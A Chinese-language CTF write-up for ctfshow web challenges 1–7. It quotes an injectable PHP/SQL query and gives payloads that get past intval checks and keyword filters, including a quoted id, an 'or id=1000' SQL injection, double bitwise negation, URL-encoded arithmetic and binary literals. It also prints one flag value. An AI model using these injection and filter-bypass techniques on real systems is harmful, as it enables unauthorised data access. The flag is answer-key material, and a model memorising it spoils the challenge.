ctfshow萌新计划
根据web1的几个解法思路我实现了对后面几道题的通杀,仔细想想感觉对于我这样的新手来说这几题还不错
题目一:web1 代码很安全,没有漏洞
打开题目很显然这一题考察的是代码审计,我们把代码粘贴下来审计一波
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
大部分地方题目都有注释,所以我们来了解一些函数作用
1.isset()函数:根据题目注释我们大概可以知道isset函数就是检测用来检测变量是否存在
2.intval():这里实际上就用到了intval函数的特性
我们写如下这样一段代码
<?php
$id=$_GET['id']; //定义一个GET传参的变量
var_dump($id); //使用var_dump函数输出这个变量长什么样
echo "<br />"; //换行,方便区分
var_dump(intval($id)); //用var_dump函数输出经过intval函数处理以后的变量长什么样
?>
我们传参?id=1000,输出结果如下:
我们再传参?id='1000',输出结果如下:
可以看到:
$id=$_GET['id']
我们传参'1000'给变量id,直接输出的还是'1000';
但是:
var_dump=intval($id)
可以发现经过intval函数处理后输出的就是int(0)
我把代码更改一下
<?php
$id=$_GET['id'];
var_dump($id);
echo "<br />";
var_dump(intval($id));
if(intval($id)>999)
{
echo "true";
}
else
{
echo "false";
}
?>
拓展:这个地方我拓展一下知识
intval函数处理的时候,如果
1.传参里面有字符的时候,函数会直接返回0
2.当传参里面前面是字符后面是数字,返回的也是0,例如:abc123
3.当传参前面是数字后面是字符的时候,返回前面的数字而后面的字符置0
解法一:根据这个特性再加上题目的提示 flag in id = 1000
我们尝试构造payload:
?id='1000'
顺利得到flag:
ctfshow{85577894-0cb1-4d0d-9fa2-f7f1b03d77c2}
如果这里我们直接使用?id=1000的话,那么
根据题目的这句话就会直接返回错误
解法二: 既然题目已经出现了回显,那么根据回显提示我们是否可以尝试使用SQL注入来找到flag呢?
那我们尝试构造:
?id=100 or id=1000
返回后我们发现这样也可以获得flag,这是因为,我们输入id=100 or id=1000的时候,if语句中首先是100和999进行比较,然后查询id=1000里面的东西,实现了绕过
解法三: 搜索了一些大佬的文章,我发现还有一种构造方法,那么就顺便学习一下:
我们可以构造取反:
?id=~~1000
我来讲讲原理:
假设我们拿10来举例:
10的二进制表示是:1010
化成32位二进制就是:0000 0000 0000 0000 0000 0000 0000 1010
按位取反就是: 1111 1111 1111 1111 1111 1111 1111 0101
然后我们知道第一位的0/1表示的是正负,所以有:
-111 1111 1111 1111 1111 1111 1111 0101
负数是用补码表示的,然后补码是原码取反加1,所以我们把补码减1再取反
-111 1111 1111 1111 1111 1111 1111 0100
-000 0000 0000 0000 0000 0000 0000 1011
计算得到:-11
这个地方我们要取反两次,因为最后要查询的数据是1000里面的数,所以经过两次取反后还是1000,但是这样做可以绕过前面的限制
解法四:
我们还可以构造payload:
?id=100%2B900
我们知道数据库是可以做计算的,所以我们构造100+900,但是要注意不能直接注入+号,因为在url里面+号会直接被PHP解析成空格
题目二:web2
第二题和第一题还是一样,不同的地方在于加了一个正则过滤
if(preg_match("/or|\+/i",$id)){
die("id error");
}
这个正则表达式过滤了or 和 + ;后面的符号i标记这是一个大小写不敏感的搜索
有不理解的小伙伴建议可以看看正则表达式的知识
这么一看上面的第二种解法就不能用了,但是其他解法照用不误,只要不出现被过滤的关键字就可以,而且上面的第四种解法我们把+号改成*号照样可以绕过
构造payload:
?id='1000'
题目三:web 3
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}
好家伙,这次过滤的更多,实际上这里过滤掉了or 和+ - * / !,但是,我们构造payload:
?id='1000'
照样可以使用
题目四:web4
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
这次又过滤了更多,但是不影响payload:
?id='1000'
题目五:web5
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
这一次终于把' "过滤了,那么我们试试取反:
?id=~~1000
成功绕过
题目六:web6
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
构造payload:
?id=~~1000
题目七:web7
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
哦豁,我们发现这里把~符号过滤了,看来只能想其他方法了,思考了一下,根据前面我们使用二进制取反实现绕过,那么我们能不能直接使用二进制表示1000从而实现绕过呢?
构造payload:
?id=1111101000
发现不行,想了一下,加上标识符:
?id=0b1111101000
绕过成功
有兴趣的小伙伴可以看看这篇文章
CTFSHOW 萌新计划 web 1-8_羽的博客-CSDN博客_ctfshow萌新web